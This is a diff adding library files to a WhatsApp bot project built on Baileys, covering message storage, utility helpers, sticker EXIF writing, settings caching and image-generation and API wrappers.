+ if (chats[jid].length > MAX_MSGS_PER_CHAT) {
73
+ chats[jid] = chats[jid].slice(-MAX_MSGS_PER_CHAT);
74
+ }
75
+ messageMap[m.key.id] = { normalizedJid: jid };
76
+ trimMessageMap();
77
+ }
78
+ })
79
+ }
80
+
81
+ const loadMessage = (jid, id) => {
82
+ if (!jid || !id) return null
83
+ const msgs = chats[jid]
84
+ if (Array.isArray(msgs)) {
85
+ const found = msgs.find(m => m?.key?.id === id)
86
+ if (found) return found
87
+ }
88
+ const mapped = messageMap[id]
89
+ if (mapped) {
90
+ const mappedMsgs = chats[mapped.normalizedJid]
91
+ if (Array.isArray(mappedMsgs)) {
92
+ return mappedMsgs.find(m => m?.key?.id === id) || null
93
+ }
94
+ }
95
+ return null
96
+ }
97
+
98
+ const getMessage = async (key) => {
99
+ const msg = loadMessage(key.remoteJid, key.id)
100
+ return msg?.message || undefined
101
+ }
102
+
103
+ const writeToFile = () => {}
104
+
105
+ return {
106
+ bind,
107
+ contacts,
108
+ chats,
109
+ messageMap,
110
+ loadMessage,
111
+ getMessage,
112
+ writeToFile,
113
+ }
114
+ }
115
+
116
+ export { makeStore }
FEE-XMD-main/lib/MessageStore.js ADDED
@@ -0,0 +1,7 @@
 
 
 
 
 
 
 
 
1
+ import { saveMessage, getMessage, deleteMessage, cleanupOldMsgStore } from '../database/config.js';
2
+
3
+ function cleanupOldMessages(maxAgeMs = 12 * 60 * 60 * 1000) {
4
+ cleanupOldMsgStore(maxAgeMs);
5
+ }
6
+
7
+ export { saveMessage, getMessage, deleteMessage, cleanupOldMessages };
FEE-XMD-main/lib/Store.js ADDED
@@ -0,0 +1,52 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import fs from 'fs';
2
+ import path from 'path';
3
+ import { fileURLToPath } from 'url';
4
+ import { dirname } from 'path';
5
+ const __filename = fileURLToPath(import.meta.url);
6
+ const __dirname = dirname(__filename);
7
+
8
+ const baseDir = path.resolve(__dirname, '../message_data');
9
+
10
+ if (!fs.existsSync(baseDir)) {
11
+ try {
12
+ fs.mkdirSync(baseDir, { recursive: true });
13
+ } catch (e) {}
14
+ }
15
+
16
+ function loadChatData(remoteJid, messageId) {
17
+ try {
18
+ return JSON.parse(fs.readFileSync(path.join(baseDir, remoteJid, `${messageId}.json`), 'utf8')) || [];
19
+ } catch (error) {
20
+ return [];
21
+ }
22
+ }
23
+
24
+ function saveChatData(remoteJid, messageId, chatData) {
25
+ const chatDir = path.join(baseDir, remoteJid);
26
+ if (!fs.existsSync(chatDir)) {
27
+ try { fs.mkdirSync(chatDir, { recursive: true }); } catch (e) { return; }
28
+ }
29
+ try {
30
+ fs.writeFileSync(path.join(chatDir, `${messageId}.json`), JSON.stringify(chatData));
31
+ } catch (error) {}
32
+ }
33
+
34
+ function cleanupOldMessages(maxAgeMs = 12 * 60 * 60 * 1000) {
35
+ try {
36
+ if (!fs.existsSync(baseDir)) return;
37
+ const now = Date.now();
38
+ for (const remoteJid of fs.readdirSync(baseDir)) {
39
+ const chatDir = path.join(baseDir, remoteJid);
40
+ if (!fs.lstatSync(chatDir).isDirectory()) continue;
41
+ for (const file of fs.readdirSync(chatDir)) {
42
+ try {
43
+ const filePath = path.join(chatDir, file);
44
+ if (now - fs.statSync(filePath).mtimeMs > maxAgeMs) fs.unlinkSync(filePath);
45
+ } catch (err) {}
46
+ }
47
+ try { if (fs.readdirSync(chatDir).length === 0) fs.rmdirSync(chatDir); } catch (e) {}
48
+ }
49
+ } catch (err) {}
50
+ }
51
+
52
+ export { loadChatData, saveChatData, cleanupOldMessages };
FEE-XMD-main/lib/botFunctions.js ADDED
@@ -0,0 +1,307 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { fileURLToPath } from 'url';
2
+ import { dirname } from 'path';
3
+ const __filename = fileURLToPath(import.meta.url);
4
+ const __dirname = dirname(__filename);
5
+ import { proto, delay, getContentType, generateWAMessageFromContent } from '@whiskeysockets/baileys';
6
+ import chalk from 'chalk';
7
+ import fs from 'fs';
8
+ import Crypto from 'crypto';
9
+ import axios from 'axios';
10
+ import moment from 'moment-timezone';
11
+ import { sizeFormatter } from 'human-readable';
12
+ import util from 'util';
13
+ import * as Jimp from 'jimp';
14
+ const unixTimestampSeconds = (date = new Date()) => Math.floor(date.getTime() / 1000);
15
+
16
+
17
+ export const generateMessageTag = (epoch) => {
18
+ let tag = (0, exports.unixTimestampSeconds)().toString();
19
+ if (epoch)
20
+ tag += '.--' + epoch;
21
+ return tag;
22
+ }
23
+
24
+ export const processTime = (timestamp, now) => {
25
+ return moment.duration(now - moment(timestamp * 1000)).asSeconds()
26
+ }
27
+
28
+ export const getRandom = (ext) => {
29
+ return `${Math.floor(Math.random() * 10000)}${ext}`
30
+ }
31
+
32
+ export const fetchBuffer = async (url, options) => {
33
+ try {
34
+ options ? options : {};
35
+ const res = await axios({
36
+ method: "GET",
37
+ url,
38
+ headers: {
39
+ "User-Agent":
40
+ "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.70 Safari/537.36",
41
+ DNT: 1,
42
+ "Upgrade-Insecure-Request": 1,
43
+ },
44
+ ...options,
45
+ responseType: "arraybuffer",
46
+ });
47
+ return res.data;
48
+ } catch (err) {
49
+ return err;
50
+ }
51
+ };
52
+
53
+ export const getBuffer = async (url, options) => {
54
+ try {
55
+ options ? options : {}
56
+ const res = await axios({
57
+ method: "get",
58
+ url,
59
+ headers: {
60
+ 'DNT': 1,
61
+ 'Upgrade-Insecure-Request': 1
62
+ },
63
+ ...options,
64
+ responseType: 'arraybuffer'
65
+ })
66
+ return res.data
67
+ } catch (err) {
68
+ return err
69
+ }
70
+ }
71
+
72
+ export const fetchJson = async (url, options) => {
73
+ try {
74
+ options ? options : {}
75
+ const res = await axios({
76
+ method: 'GET',
77
+ url: url,
78
+ headers: {
79
+ 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36'
80
+ },
81
+ ...options
82
+ })
83
+ return res.data
84
+ } catch (err) {
85
+ return err
86
+ }
87
+ }
88
+
89
+ export const runtime = function(seconds) {
90
+ seconds = Number(seconds);
91
+ var d = Math.floor(seconds / (3600 * 24));
92
+ var h = Math.floor(seconds % (3600 * 24) / 3600);
93
+ var m = Math.floor(seconds % 3600 / 60);
94
+ var s = Math.floor(seconds % 60);
95
+ var dDisplay = d > 0 ? d + (d == 1 ? " day, " : " days, ") : "";
96
+ var hDisplay = h > 0 ? h + (h == 1 ? " hour, " : " hours, ") : "";
97
+ var mDisplay = m > 0 ? m + (m == 1 ? " minute, " : " minutes, ") : "";
98
+ var sDisplay = s > 0 ? s + (s == 1 ? " second" : " seconds") : "";
99
+ return dDisplay + hDisplay + mDisplay + sDisplay;
100
+ }
101
+
102
+ export const clockString = (ms) => {
103
+ let h = isNaN(ms) ? '--' : Math.floor(ms / 3600000)
104
+ let m = isNaN(ms) ? '--' : Math.floor(ms / 60000) % 60
105
+ let s = isNaN(ms) ? '--' : Math.floor(ms / 1000) % 60
106
+ return [h, m, s].map(v => v.toString().padStart(2, 0)).join(':')
107
+ }
108
+
109
+ export const sleep = async (ms) => {
110
+ return new Promise(resolve => setTimeout(resolve, ms));
111
+ }
112
+
113
+
114
+ export const isUrl = (url) => {
115
+ return url.match(new RegExp(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z0-9()]{1,6}\b([-a-zA-Z0-9()@:%_+.~#?&/=]*)/, 'gi'))
116
+ }
117
+
118
+ export const getTime = (format, date) => {
119
+ if (date) {
120
+ return moment(date).locale('id').format(format)
121
+ } else {
122
+ return moment.tz('Africa/Harare').locale('id').format(format)
123
+ }
124
+ }
125
+
126
+ export const formatDate = (n, locale = 'zw') => {
127
+ let d = new Date(n)
128
+ return d.toLocaleDateString(locale, {
129
+ weekday: 'long',
130
+ day: 'numeric',
131
+ month: 'long',
132
+ year: 'numeric',
133
+ hour: 'numeric',
134
+ minute: 'numeric',
135
+ second: 'numeric'
136
+ })
137
+ }
138
+
139
+ export const tanggal = (numer) => {
140
+ myMonths = ["January","February","March","Aprill","May","June","July","August","September","October","November","Deceember"];
141
+ myDays = ['Monday','Tuesday','Wednesday','Thursday','Friday','Saturday','Sunday'];
142
+ var tgl = new Date(numer);
143
+ var day = tgl.getDate()
144
+ bulan = tgl.getMonth()
145
+ var thisDay = tgl.getDay(),
146
+ thisDay = myDays[thisDay];
147
+ var yy = tgl.getYear()
148
+ var year = (yy < 1000) ? yy + 1900 : yy;
149
+ const time = moment.tz('Africa/Harare').format('DD/MM HH:mm:ss')
150
+ let d = new Date
151
+ let locale = 'id'
152
+ let gmt = new Date(0).getTime() - new Date('1 January 1970').getTime()
153
+ let weton = ['Pahing', 'Pon','Wage','Kliwon','Legi'][Math.floor(((d * 1) + gmt) / 84600000) % 5]
154
+
155
+ return`${thisDay}, ${day} - ${myMonths[bulan]} - ${year}`
156
+ }
157
+
158
+ export const formatp = sizeFormatter({
159
+ std: 'JEDEC',
160
+ decimalPlaces: 2,
161
+ keepTrailingZeroes: false,
162
+ render: (literal, symbol) => `${literal} ${symbol}B`,
163
+ })
164
+
165
+ export const jsonformat = (string) => {
166
+ return JSON.stringify(string, null, 2)
167
+ }
168
+
169
+ function format(...args) {
170
+ return util.format(...args)
171
+ }
172
+
173
+ export const logic = (check, inp, out) => {
174
+ if (inp.length !== out.length) throw new Error('Input and Output must have same length')
175
+ for (let i in inp)
176
+ if (util.isDeepStrictEqual(check, inp[i])) return out[i]
177
+ return null
178
+ }
179
+
180
+ export const generateProfilePicture = async (buffer) => {
181
+ const jimp = await Jimp.default.read(buffer)
182
+ const min = jimp.getWidth()
183
+ const max = jimp.getHeight()
184
+ const cropped = jimp.crop(0, 0, min, max)
185
+ return {
186
+ img: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.default.MIME_JPEG),
187
+ preview: await cropped.scaleToFit(720, 720).getBufferAsync(Jimp.default.MIME_JPEG)
188
+ }
189
+ }
190
+
191
+ export const bytesToSize = (bytes, decimals = 2) => {
192
+ if (bytes === 0) return '0 Bytes';
193
+
194
+ const k = 1024;
195
+ const dm = decimals < 0 ? 0 : decimals;
196
+ const sizes = ['Bytes', 'KB', 'MB', 'GB', 'TB', 'PB', 'EB', 'ZB', 'YB'];
197
+
198
+ const i = Math.floor(Math.log(bytes) / Math.log(k));
199
+
200
+ return parseFloat((bytes / Math.pow(k, i)).toFixed(dm)) + ' ' + sizes[i];
201
+ }
202
+
203
+ export const getSizeMedia = (path) => {
204
+ return new Promise((resolve, reject) => {
205
+ if (/http/.test(path)) {
206
+ axios.get(path)
207
+ .then((res) => {
208
+ let length = parseInt(res.headers['content-length'])
209
+ let size = exports.bytesToSize(length, 3)
210
+ if(!isNaN(length)) resolve(size)
211
+ })
212
+ } else if (Buffer.isBuffer(path)) {
213
+ let length = Buffer.byteLength(path)
214
+ let size = exports.bytesToSize(length, 3)
215
+ if(!isNaN(length)) resolve(size)
216
+ } else {
217
+ reject('error gatau apah')
218
+ }
219
+ })
220
+ }
221
+
222
+ export const parseMention = (text = '') => {
223
+ return [...text.matchAll(/@([0-9]{5,16}|0)/g)].map(v => v[1] + '@s.whatsapp.net')
224
+ }
225
+
226
+
227
+ export const smsg = (conn, m, store) => {
228
+ if (!m) return m
229
+ let M = proto.WebMessageInfo
230
+ if (m.key) {
231
+ m.id = m.key.id
232
+ m.isBaileys = m.id.startsWith('BAE5') && m.id.length === 16
233
+ m.chat = m.key.remoteJid
234
+ m.fromMe = m.key.fromMe
235
+ m.isGroup = m.chat.endsWith('@g.us')
236
+ m.sender = conn.decodeJid(m.fromMe && conn.user.id || m.participant || m.key.participant || m.chat || '')
237
+ if (m.isGroup) m.participant = conn.decodeJid(m.key.participant) || ''
238
+ }
239
+ if (m.message) {
240
+ m.mtype = getContentType(m.message)
241
+ m.msg = (m.mtype == 'viewOnceMessage' ? m.message[m.mtype].message[getContentType(m.message[m.mtype].message)] : m.message[m.mtype])
242
+ m.body = m.message.conversation || m.msg.caption || m.msg.text || (m.mtype == 'listResponseMessage') && m.msg.singleSelectReply.selectedRowId || (m.mtype == 'buttonsResponseMessage') && m.msg.selectedButtonId || (m.mtype == 'viewOnceMessage') && m.msg.caption || m.text
243
+ let quoted = m.quoted = m.msg.contextInfo ? m.msg.contextInfo.quotedMessage : null
244
+ m.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : []
245
+ if (m.quoted) {
246
+ let type = getContentType(quoted)
247
+ m.quoted = m.quoted[type]
248
+ if (['productMessage'].includes(type)) {
249
+ type = getContentType(m.quoted)
250
+ m.quoted = m.quoted[type]
251
+ }
252
+ if (typeof m.quoted === 'string') m.quoted = {
253
+ text: m.quoted
254
+ }
255
+ m.quoted.mtype = type
256
+ m.quoted.id = m.msg.contextInfo.stanzaId
257
+ m.quoted.chat = m.msg.contextInfo.remoteJid || m.chat
258
+ m.quoted.isBaileys = m.quoted.id ? m.quoted.id.startsWith('BAE5') && m.quoted.id.length === 16 : false
259
+ m.quoted.sender = conn.decodeJid(m.msg.contextInfo.participant)
260
+ m.quoted.fromMe = m.quoted.sender === (conn.user && conn.user.id)
261
+ m.quoted.text = m.quoted.text || m.quoted.caption || m.quoted.conversation || m.quoted.contentText || m.quoted.selectedDisplayText || m.quoted.title || ''
262
+ m.quoted.mentionedJid = m.msg.contextInfo ? m.msg.contextInfo.mentionedJid : []
263
+ m.getQuotedObj = m.getQuotedMessage = async () => {
264
+ if (!m.quoted.id) return false
265
+ let q = await store.loadMessage(m.chat, m.quoted.id, conn)
266
+ return exports.smsg(conn, q, store)
267
+ }
268
+ let vM = m.quoted.fakeObj = M.fromObject({
269
+ key: {
270
+ remoteJid: m.quoted.chat,
271
+ fromMe: m.quoted.fromMe,
272
+ id: m.quoted.id
273
+ },
274
+ message: quoted,
275
+ ...(m.isGroup ? { participant: m.quoted.sender } : {})
276
+ })
277
+
278
+ m.quoted.delete = () => conn.sendMessage(m.quoted.chat, { delete: vM.key })
279
+
280
+ m.quoted.copyNForward = (jid, forceForward = false, options = {}) => conn.copyNForward(jid, vM, forceForward, options)
281
+
282
+ m.quoted.download = () => conn.downloadMediaMessage(m.quoted)
283
+ }
284
+ }
285
+ if (m.msg.url) m.download = () => conn.downloadMediaMessage(m.msg)
286
+ m.text = m.msg.text || m.msg.caption || m.message.conversation || m.msg.contentText || m.msg.selectedDisplayText || m.msg.title || ''
287
+
288
+ m.reply = (text, chatId = m.chat, options = {}) => Buffer.isBuffer(text) ? conn.sendMedia(chatId, text, 'file', '', m, { ...options }) : conn.sendText(chatId, text, m, { ...options })
289
+
290
+ m.copy = () => exports.smsg(conn, M.fromObject(M.toObject(m)))
291
+
292
+ m.copyNForward = (jid = m.chat, forceForward = false, options = {}) => conn.copyNForward(jid, m, forceForward, options)
293
+
294
+ return m
295
+ }
296
+
297
+
298
+ export const sendJson = async (client, jid, content, opts = {}) => {
299
+ const msg = generateWAMessageFromContent(jid, content, {
300
+ userJid: client.user?.jid,
301
+ quoted: opts.quoted,
302
+ });
303
+ await client.relayMessage(jid, msg.message, { messageId: msg.key.id });
304
+ return msg;
305
+ };
306
+
307
+ export { unixTimestampSeconds };
FEE-XMD-main/lib/data/data.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ /
FEE-XMD-main/lib/dbBackup.js ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ async function restoreFromGist() { return true; }
2
+ function startBackupInterval() {}
3
+ export { restoreFromGist, startBackupInterval };
4
+
FEE-XMD-main/lib/deviceMode.js ADDED
@@ -0,0 +1,12 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getCachedSettings } from './settingsCache.js';
2
+
3
+ export async function getDeviceMode() {
4
+ try {
5
+ const settings = await getCachedSettings();
6
+ const val = (settings?.device || process.env.DEVICE || 'default').toLowerCase().trim();
7
+ return val === 'ios' ? 'ios' : 'android';
8
+ } catch {
9
+ const envVal = (process.env.DEVICE || 'default').toLowerCase().trim();
10
+ return envVal === 'ios' ? 'ios' : 'android';
11
+ }
12
+ }
FEE-XMD-main/lib/ephoto.js ADDED
@@ -0,0 +1,39 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import fetch from 'node-fetch';
2
+
3
+ const STYLE_MAP = [
4
+ ['cyberpunk-neon', 'cyberpunk neon glowing purple pink'],
5
+ ['neon-text-in-the-dark', 'neon glowing text dark black background'],
6
+ ['fire-text', 'fire flames burning orange red hot'],
7
+ ['galaxy-3d', 'galaxy space stars 3D cosmic purple'],
8
+ ['glitch-cyberpunk', 'glitch digital distorted RGB split cyberpunk'],
9
+ ['glitter-text', 'glitter sparkle shiny rainbow holographic'],
10
+ ['3d-graffiti', 'graffiti street art colorful spray paint urban'],
11
+ ['ice-frozen', 'ice frozen crystal blue cold winter frost'],
12
+ ['matrix', 'matrix green digital code rain dark'],
13
+ ['golden-3d', 'golden metallic chrome 3D shiny luxurious'],
14
+ ['colorful-neon-light', 'colorful neon light vibrant rainbow glow'],
15
+ ['smoke-effect', 'smoke dark mysterious swirling mist'],
16
+ ['3d-thunder', 'thunder lightning electric bolt 3D dramatic'],
17
+ ];
18
+
19
+ function getStyle(url) {
20
+ for (const [key, val] of STYLE_MAP) {
21
+ if (url.includes(key)) return val;
22
+ }
23
+ return 'stylized glowing artistic';
24
+ }
25
+
26
+ async function ephoto(url, text) {
27
+ const style = getStyle(url);
28
+ const prompt = encodeURIComponent(
29
+ `${style} text effect, the word "${text}" bold large centered, isolated dark background, photorealistic high quality 4k`
30
+ );
31
+ const seed = Math.floor(Math.random() * 999999);
32
+ const imgUrl = `https://image.pollinations.ai/prompt/${prompt}?width=700&height=350&nologo=true&model=flux&seed=${seed}`;
33
+
34
+ const res = await fetch(imgUrl, { timeout: 90000 });
35
+ if (!res.ok) throw new Error(`Generation failed: ${res.status}`);
36
+ return res.buffer();
37
+ }
38
+
39
+ export { ephoto };
FEE-XMD-main/lib/exif.js ADDED
@@ -0,0 +1,134 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import fs from 'fs';
2
+ import { tmpdir } from 'os';
3
+ import Crypto from 'crypto';
4
+ import ff from 'fluent-ffmpeg';
5
+ import webp from 'node-webpmux';
6
+ import path from 'path';
7
+
8
+ async function imageToWebp(media) {
9
+ const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`);
10
+ const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.jpg`);
11
+
12
+ fs.writeFileSync(tmpFileIn, media);
13
+
14
+ await new Promise((resolve, reject) => {
15
+ ff(tmpFileIn)
16
+ .on("error", reject)
17
+ .on("end", () => resolve(true))
18
+ .addOutputOptions([
19
+ "-vcodec",
20
+ "libwebp",
21
+ "-vf",
22
+ "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse"
23
+ ])
24
+ .toFormat("webp")
25
+ .save(tmpFileOut);
26
+ });
27
+
28
+ const buff = fs.readFileSync(tmpFileOut);
29
+ fs.unlinkSync(tmpFileOut);
30
+ fs.unlinkSync(tmpFileIn);
31
+ return buff;
32
+ }
33
+
34
+ async function videoToWebp(media) {
35
+ const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`);
36
+ const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.mp4`);
37
+
38
+ fs.writeFileSync(tmpFileIn, media);
39
+
40
+ await new Promise((resolve, reject) => {
41
+ ff(tmpFileIn)
42
+ .on("error", reject)
43
+ .on("end", () => resolve(true))
44
+ .addOutputOptions([
45
+ "-vcodec",
46
+ "libwebp",
47
+ "-vf",
48
+ "scale='min(320,iw)':min'(320,ih)':force_original_aspect_ratio=decrease,fps=15, pad=320:320:-1:-1:color=white@0.0, split [a][b]; [a] palettegen=reserve_transparent=on:transparency_color=ffffff [p]; [b][p] paletteuse",
49
+ "-loop",
50
+ "0",
51
+ "-ss",
52
+ "00:00:00",
53
+ "-t",
54
+ "00:00:05",
55
+ "-preset",
56
+ "default",
57
+ "-an",
58
+ "-vsync",
59
+ "0"
60
+ ])
61
+ .toFormat("webp")
62
+ .save(tmpFileOut);
63
+ });
64
+
65
+ const buff = fs.readFileSync(tmpFileOut);
66
+ fs.unlinkSync(tmpFileOut);
67
+ fs.unlinkSync(tmpFileIn);
68
+ return buff;
69
+ }
70
+
71
+ async function writeExifImg(media, metadata) {
72
+ let wMedia = await imageToWebp(media);
73
+ const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`);
74
+ const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`);
75
+ fs.writeFileSync(tmpFileIn, wMedia);
76
+
77
+ if (metadata.packname || metadata.author) {
78
+ const img = new webp.Image();
79
+ const json = { "sticker-pack-id": `https://github.com/DikaArdnt/Hisoka-Morou`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] };
80
+ const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]);
81
+ const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8");
82
+ const exif = Buffer.concat([exifAttr, jsonBuff]);
83
+ exif.writeUIntLE(jsonBuff.length, 14, 4);
84
+ await img.load(tmpFileIn);
85
+ fs.unlinkSync(tmpFileIn);
86
+ img.exif = exif;
87
+ await img.save(tmpFileOut);
88
+ return tmpFileOut;
89
+ }
90
+ }
91
+
92
+ async function writeExifVid(media, metadata) {
93
+ let wMedia = await videoToWebp(media);
94
+ const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`);
95
+ const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`);
96
+ fs.writeFileSync(tmpFileIn, wMedia);
97
+
98
+ if (metadata.packname || metadata.author) {
99
+ const img = new webp.Image();
100
+ const json = { "sticker-pack-id": `https://github.com/DikaArdnt/Hisoka-Morou`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] };
101
+ const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]);
102
+ const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8");
103
+ const exif = Buffer.concat([exifAttr, jsonBuff]);
104
+ exif.writeUIntLE(jsonBuff.length, 14, 4);
105
+ await img.load(tmpFileIn);
106
+ fs.unlinkSync(tmpFileIn);
107
+ img.exif = exif;
108
+ await img.save(tmpFileOut);
109
+ return tmpFileOut;
110
+ }
111
+ }
112
+
113
+ async function writeExif(media, metadata) {
114
+ let wMedia = /webp/.test(media.mimetype) ? media.data : /image/.test(media.mimetype) ? await imageToWebp(media.data) : /video/.test(media.mimetype) ? await videoToWebp(media.data) : "";
115
+ const tmpFileIn = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`);
116
+ const tmpFileOut = path.join(tmpdir(), `${Crypto.randomBytes(6).readUIntLE(0, 6).toString(36)}.webp`);
117
+ fs.writeFileSync(tmpFileIn, wMedia);
118
+
119
+ if (metadata.packname || metadata.author) {
120
+ const img = new webp.Image();
121
+ const json = { "sticker-pack-id": `https://github.com/DikaArdnt/Hisoka-Morou`, "sticker-pack-name": metadata.packname, "sticker-pack-publisher": metadata.author, "emojis": metadata.categories ? metadata.categories : [""] };
122
+ const exifAttr = Buffer.from([0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00, 0x01, 0x00, 0x41, 0x57, 0x07, 0x00, 0x00, 0x00, 0x00, 0x00, 0x16, 0x00, 0x00, 0x00]);
123
+ const jsonBuff = Buffer.from(JSON.stringify(json), "utf-8");
124
+ const exif = Buffer.concat([exifAttr, jsonBuff]);
125
+ exif.writeUIntLE(jsonBuff.length, 14, 4);
126
+ await img.load(tmpFileIn);
127
+ fs.unlinkSync(tmpFileIn);
128
+ img.exif = exif;
129
+ await img.save(tmpFileOut);
130
+ return tmpFileOut;
131
+ }
132
+ }
133
+
134
+ export { imageToWebp, videoToWebp, writeExifImg, writeExifVid, writeExif };
FEE-XMD-main/lib/fakeQuoted.js ADDED
@@ -0,0 +1,21 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+
2
+ function getFakeQuoted(m) {
3
+ return {
4
+ key: {
5
+ participant: '0@s.whatsapp.net',
6
+ remoteJid: '0@s.whatsapp.net',
7
+ id: m?.id || m?.key?.id || '0',
8
+ },
9
+ message: {
10
+ conversation: 'Fredi',
11
+ },
12
+ contextInfo: {
13
+ mentionedJid: [m?.sender || m?.key?.participant || ''],
14
+ forwardingScore: 999,
15
+ isForwarded: true,
16
+ },
17
+ };
18
+ }
19
+
20
+ export { getFakeQuoted };
21
+
FEE-XMD-main/lib/fastSettings.js ADDED
@@ -0,0 +1,17 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import { getSettings as _getSettings } from '../database/config.js';
2
+
3
+ let _cache = null;
4
+ let _cacheTime = 0;
5
+ const CACHE_TTL = 30000; // 30 second cache for plugin-level calls
6
+
7
+ async function getSettings() {
8
+ const now = Date.now();
9
+ if (_cache && (now - _cacheTime) < CACHE_TTL) return _cache;
10
+ _cache = await _getSettings();
11
+ _cacheTime = Date.now();
12
+ return _cache;
13
+ }
14
+
15
+ function invalidateCache() { _cache = null; _cacheTime = 0; }
16
+
17
+ export { getSettings, invalidateCache };
FEE-XMD-main/lib/fee ADDED
@@ -0,0 +1 @@
 
 
1
+
FEE-XMD-main/lib/frediApi.js ADDED
@@ -0,0 +1,237 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import fetch from 'node-fetch';
2
+ import { TOXIC_API_KEY, TOXIC_API_FALLBACK } from '../keys.js';
3
+
4
+
5
+ const BASE = 'https://api.giftedtech.co.ke/api';
6
+
7
+ function getKeys() {
8
+ return [TOXIC_API_KEY, TOXIC_API_FALLBACK].filter(Boolean);
9
+ }
10
+
11
